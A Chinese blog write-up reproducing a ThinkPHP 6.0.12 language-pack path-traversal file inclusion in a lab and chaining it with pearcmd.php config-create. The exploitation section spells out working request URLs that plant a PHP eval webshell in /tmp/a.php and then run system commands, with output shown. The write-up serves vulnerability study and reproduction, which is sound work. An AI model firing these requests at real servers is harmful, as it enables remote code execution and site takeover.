前言

无。


漏洞影响

  • v6.0.1 < Thinkphp < v6.0.13

  • Thinkphp v5.0.x

  • Thinkphp v5.1.x

环境搭建

使用composer安装时无法安装历史版本,所以直接去GitHub下载6.0.12版本。

然后解压到/var/www/html,再修改一下composer.json里面配置的framework版本为6.0.12:

"require": {
    "php": ">=7.2.5",
    "topthink/framework": "6.0.12",
    "topthink/think-orm": "^2.0"
},

然后运行composer install完成安装,可以使用ThinkPHP6.0.12。

最后开启多语言配置,修改app/middleware.php,将这一行去掉注释:

// 多语言加载
\think\middleware\LoadLangPack::class,

按理来说漏洞应该已经可以利用了,但是打不通,看代理也看不出什么东西来,所以直接上xdebug远程调试。

APT安装的xdebug3会有兼容性问题,一些配置已经变更了,如remote_port等配置,在phpinfo里已经显示为:

(setting renamed in Xdebug 3)    

看起来换了个名字,所以选择手动下载编译安装,然而它又要php7。

太麻烦了,但是docker镜像有网络问题,只能开个vultr把镜像打包回来了。

先安装dockers.io,然后下载php镜像:

docker pull php:7.4-apache

打包:

docker save 20a3732f422b > php74.tar

通过sz命令和xshell下载到本地后导入:

docker load < php74.tar 

启动镜像,换源安装xdebug修改php.ini并重启,在phpinfo看到xdebug消息后再配置好phpstorm的调试端口、文件映射和远程服务器就好了。

可以看到,文件包含的路径为:

/var/www/html/think-6.0.12/vendor/topthink/framework/src/lang/test.php

看来确实是可以利用的,只是要跳的目录比想象的要多而已:

http://192.168.88.129/think-6.0.12/public/?lang=../../../../../test&XDEBUG_SESSION_START=13537

漏洞分析

看起来是多语言环境下通过直接文件包含的方式引入对应语言的语言包。

由于没有做目录跳转过滤,所以导致了文件包含漏洞。

漏洞利用

详见参考文章,docker环境/register_argc_argv开启且环境存在pear的情况下可以通过pear写入文件并包含。

pear文件位于/usr/local/lib/php/pearcmd.php,可以看到首先使用:

$argv = Console_Getopt::readPHPArgv();

获取输入参数,即:

public static function readPHPArgv()
{
    global $argv;
    if (!is_array($argv)) {
        if (!@is_array($_SERVER['argv'])) {
            if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                $msg = "Could not read cmd args (register_argc_argv=Off?)";
                return PEAR::raiseError("Console_Getopt: " . $msg);
            }
            return $GLOBALS['HTTP_SERVER_VARS']['argv'];
        }
        return $_SERVER['argv'];
    }
    return $argv;
}

也就是说通过$_SERVER[‘argv’]可控,然后做了一系列更多的处理,比如通过array_shift删除了第一个元素:

array_shift($argv);

此外,根据参考文章,可以知道$_SERVER[‘argv’]截取参数的方式跟一般URL截取不一样,是用+截断的。所以可以将lang等无关参数放在前面用+截断,这样就不会影响利用了。

pear的config-create命令可以用于创建新文件,该命令的输入参数可以在PEAR/Command/Config.php里面找到:

'config-create' => array(
    'summary' => 'Create a Default configuration file',
    'function' => 'doConfigCreate',
    'shortcut' => 'coc',
    'options' => array(
        'windows' => array(
            'shortopt' => 'w',
            'doc' => 'create a config file for a windows install',
            ),
    ),
    'doc' => '<root path> <filename>
Create a default configuration file with all directory configuration
variables set to subdirectories of <root path>, and save it as <filename>.
This is useful especially for creating a configuration file for a remote
PEAR installation (using the --remoteconfig option of install, upgrade,
and uninstall).
',
    ),

只有两个参数,第一个参数为写入文件路径,第二个为文件名,暂时不清楚文件内容要怎么控制。

找到具体的写入函数doConfigCreate:

if (count($params) != 2) {
    return PEAR::raiseError('config-create: must have 2 parameters, root path and ' .
        'filename to save as');
}

首先限制参数数量为2,然后:

$root = $params[0];
// Clean up the DIRECTORY_SEPARATOR mess
$ds2 = DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR;
$root = preg_replace(array('!\\\\+!', '!/+!', "!$ds2+!"),
                      array('/', '/', '/'),
                    $root);
if ($root[0] != '/') {
    if (!isset($options['windows'])) {
        return PEAR::raiseError('Root directory must be an absolute path beginning ' .
            'with "/", was: "' . $root . '"');
    }

    if (!preg_match('/^[A-Za-z]:/', $root)) {
        return PEAR::raiseError('Root directory must be an absolute path beginning ' .
            'with "\\" or "C:\\", was: "' . $root . '"');
    }
}

第一个参数要以/开头,不然就会有正则表达式的校验。然后开始写入文件:

$config->noRegistry();
$config->set('php_dir', $windows ? "$root\\pear\\php" : "$root/pear/php", 'user');
$config->set('data_dir', $windows ? "$root\\pear\\data" : "$root/pear/data");
$config->set('www_dir', $windows ? "$root\\pear\\www" : "$root/pear/www");
$config->set('cfg_dir', $windows ? "$root\\pear\\cfg" : "$root/pear/cfg");
$config->set('ext_dir', $windows ? "$root\\pear\\ext" : "$root/pear/ext");
$config->set('doc_dir', $windows ? "$root\\pear\\docs" : "$root/pear/docs");
$config->set('test_dir', $windows ? "$root\\pear\\tests" : "$root/pear/tests");
$config->set('cache_dir', $windows ? "$root\\pear\\cache" : "$root/pear/cache");
$config->set('download_dir', $windows ? "$root\\pear\\download" : "$root/pear/download");
$config->set('temp_dir', $windows ? "$root\\pear\\temp" : "$root/pear/temp");
$config->set('bin_dir', $windows ? "$root\\pear" : "$root/pear");
$config->set('man_dir', $windows ? "$root\\pear\\man" : "$root/pear/man");
$config->writeConfigFile();
$this->_showConfig($config);
$this->ui->outputData('Successfully created default configuration file "' . $params[1] . '"',
    $command);

将第一个参数写入了第二个参数代表的文件里,所以第一个参数实际上就是文件内容。

简单测试一下,访问:

http://192.168.88.129/think-6.0.12/public/?lang=../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/Twings+/tmp/a.php

可以看到/tmp/a.php里面写入了多次第一个参数,实际上是一个PHP序列化数据:

#PEAR_Config 0.9
a:12:{s:7:"php_dir";s:16:"/Twings/pear/php";s:8:"data_dir";s:17:"/Twings/pear/data";s:7:"www_dir";s:16:"/Twings/pear/www";s:7:"cfg_dir";s:16:"/Twings/pear/cfg";s:7:"ext_dir";s:16:"/Twings/pear/ext";s:7:"doc_dir";s:17:"/Twings/pear/docs";s:8:"test_dir";s:18:"/Twings/pear/tests";s:9:"cache_dir";s:18:"/Twings/pear/cache";s:12:"download_dir";s:21:"/Twings/pear/download";s:8:"temp_dir";s:17:"/Twings/pear/temp";s:7:"bin_dir";s:12:"/Twings/pear";s:7:"man_dir";s:16:"/Twings/pear/man";}root@aa22a86de98a:/usr/local/lib/php# 

然后写入一句话,为了防止浏览器自动编码,使用BP发包:

/think-6.0.12/public/?lang=../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['cmd']);?>+/tmp/a.php

写入成功,最后包含利用就行了:

/think-6.0.12/public/?lang=../../../../../../../../../tmp/a&cmd=system('uname%20-a');

可以看到回显:

#PEAR_Config 0.9
a:13:{s:7:"php_dir";s:39:"/Linux aa22a86de98a 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 GNU/Linux
/pear/php";s:8:"data_dir";s:40:"/Linux aa22a86de98a 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 GNU/Linux
/pear/data";s:7:"www_dir";s:39:"/Linux aa22a86de98a 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 GNU/Linux
/pear/www";s:7:"cfg_dir";s:39:"/Linux aa22a86de98a 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 GNU/Linux
/pear/cfg";s:7:"ext_dir";s:39:"/Linux aa22a86de98a 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 GNU/Linux
/pear/ext";s:7:"doc_dir";s:40:"/Linux aa22a86de98a 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 GNU/Linux
/pear/docs";s:8:"test_dir";s:41:"/Linux aa22a86de98a 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 GNU/Linux
/pear/tests";s:9:"cache_dir";s:41:"/Linux aa22a86de98a 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 GNU/Linux
/pear/cache";s:12:"download_dir";s:44:"/Linux aa22a86de98a 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 GNU/Linux
/pear/download";s:8:"temp_dir";s:40:"/Linux aa22a86de98a 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 GNU/Linux
/pear/temp";s:7:"bin_dir";s:35:"/Linux aa22a86de98a 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 GNU/Linux
/pear";s:7:"man_dir";s:39:"/Linux aa22a86de98a 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 GNU/Linux
/pear/man";s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}}

参考

ThinkPHP V6.0.12LTS多语言模块RCE

ThinkPHP6如何实现多语言网站搭建

Docker PHP裸文件本地包含综述

利用pearcmd.php文件包含拿shell(LFI)


Web PHP

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

C++环境下钩取API函数
GadgetInspector源码学习